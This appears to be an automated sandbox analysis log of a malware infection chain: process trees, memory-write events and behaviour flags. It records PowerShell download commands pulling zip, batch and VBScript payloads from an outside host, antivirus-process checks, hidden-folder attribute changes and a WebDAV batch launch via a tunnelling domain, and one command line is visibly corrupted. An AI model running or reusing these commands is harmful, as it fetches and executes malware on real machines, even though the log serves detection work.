PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 2636	4784	msedge.exe	85
PID 4784 wrote to memory of 2636	4784	msedge.exe	85
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86
PID 4784 wrote to memory of 2468	4784	msedge.exe	86

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2616	attrib.exe
4992	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3504
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument C:\Users\Admin\AppData\Local\Temp\Inquiry.html
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8b7e846f8,0x7ff8b7e84708,0x7ff8b7e84718
    3⤵
    PID:3144
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2132 /prefetch:2
    3⤵
    PID:3852
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2636
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2848 /prefetch:8
    3⤵
    PID:2468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3216 /prefetch:1
    3⤵
    PID:752
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3228 /prefetch:1
    3⤵
    PID:4408
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4148 /prefetch:1
    3⤵
    PID:4200
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5068 /prefetch:8
    3⤵
    PID:2492
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5068 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:684
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1
    3⤵
    PID:3432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
    3⤵
    PID:1116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5156 /prefetch:1
    3⤵
    PID:3624
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5236 /prefetch:1
    3⤵
    PID:4068
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5784 /prefetch:1
    3⤵
    PID:3720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1780 /prefetch:1
    3⤵
    PID:4664
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5928 /prefetch:1
    3⤵
    PID:4076
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5524 /prefetch:1
    3⤵
    PID:3836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5300 /prefetch:8
    3⤵
    PID:4072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5652 /prefetch:8
    3⤵
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4880 /prefetch:1
    3⤵
    PID:3700
- - C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\new.bat.txt
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:4520
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,16788269208922773310,456538152260591111,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4108 /prefetch:2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\new.bat" "
  2⤵
  PID:3720
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq AvastUI.exe"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1252
- - C:\Windows\system32\find.exe
    find /i "AvastUI.exe"
    3⤵
    PID:4844
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq avgui.exe"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1860
- - C:\Windows\system32\find.exe
    find /i "avgui.exe"
    3⤵
    PID:4444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.click:4022/bab.zip' -OutFile 'C:\Users\Admin\Downloads\downloaded.zip' } catch { exit 1 }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.click:4022/bab.zip' -OutFile 'C:\Users\Admin\Downloads\downloaded.zip' } catch { exit 1 }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "try { Expand-Archive -Path 'C:\Users\Admin\Downloads\downloaded.zip' -DestinationPath 'C:\Users\Admin\Downloads\Extracted' -Force } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2560
- - C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
    python.exe Music-an.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:3664
- - C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
    python.exe Music-as.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:4604
- - C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
    python.exe Music-hv.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:2984
- - C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
    python.exe Music-ve.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:5040
- - C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
    python.exe Music-xw3.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:3012
- - C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
    python.exe Music-xw5.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:544
- - C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
    python.exe Music-uk.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:2472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.click:4022/startuppp.bat' -OutFile 'C:\Users\Admin\Downloads\startuppp.bat' }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.click:4022/startuppp.bat' -OutFile 'C:\Users\Admin\Downloads\startuppp.bat' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.click:4022/PWS.vbs' -OutFile 'C:\Users\Admin\Downloads\PWS.vbs' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.click:4022/PWS.vbs' -OutFile 'C:\Users\Admin\Downloads\PWS.vbs' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.click:4022/PWS1.vbs' -OutFile 'C:\Users\Admin\Downloads\pws1.vbs' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.click:4022/PWS1.vbs' -OutFile 'C:\Users\Admin\Downloads\pws1.vbs' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.click:4022/FTSP.zip' -OutFile 'C:\Users\Admin\Downloads\FTSP.zip' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls1C:\Users\Admin\Downloads\Extracted\Python\Python3122; Invoke-WebRequest -Uri 'http://dbasopma.click:4022/FTSP.zip' -OutFile 'C:\Users\Admin\Downloads\FTSP.zip' }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\FTSP.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5072
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\Downloads\Print"
    3⤵
    - Views/modifies file attributes
    PID:2616
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\Downloads\Extracted"
    3⤵
    - Views/modifies file attributes
    PID:4992
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:860
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff8a57acc40,0x7ff8a57acc4c,0x7ff8a57acc58
    3⤵
    PID:4528
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1904,i,5400324336724886002,4883440149918921720,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1896 /prefetch:2
    3⤵
    PID:1816
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2180,i,5400324336724886002,4883440149918921720,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2420 /prefetch:3
    3⤵
    PID:736
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2236,i,5400324336724886002,4883440149918921720,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2644 /prefetch:8
    3⤵
    PID:3964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3188,i,5400324336724886002,4883440149918921720,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3208 /prefetch:1
    3⤵
    PID:4732
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3448,i,5400324336724886002,4883440149918921720,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3460 /prefetch:1
    3⤵
    PID:3872
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4560,i,5400324336724886002,4883440149918921720,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3716 /prefetch:1
    3⤵
    PID:1724
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4804,i,5400324336724886002,4883440149918921720,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4808 /prefetch:8
    3⤵
    PID:1884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4832,i,5400324336724886002,4883440149918921720,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4852 /prefetch:8
    3⤵
    PID:2880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4828,i,5400324336724886002,4883440149918921720,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4836 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4816,i,5400324336724886002,4883440149918921720,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5304 /prefetch:1
    3⤵
    PID:3496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4136,i,5400324336724886002,4883440149918921720,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5096 /prefetch:8
    3⤵
    PID:4600
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\new.vbs"
    3⤵
    - Checks computer location settings
    PID:548
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c \\jill-motorcycles-tex-devices.trycloudflare.com@SSL\DavWWWRoot\new.bat
      4⤵
      PID:4996
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\new.vbs"
    3⤵
    - Checks computer location settings
    PID:4956
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c \\jill-motorcycles-tex-devices.trycloudflare.com@SSL\DavWWWRoot\new.bat
      4⤵
      PID:992
- C:\Windows\System32\Notepad.exe
  "C:\Windows\System32\Notepad.exe" C:\Users\Admin\Downloads\new.vbs
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2220
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  PID:2336
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  PID:4664
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  PID:532
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  PID:2972
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:4072
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
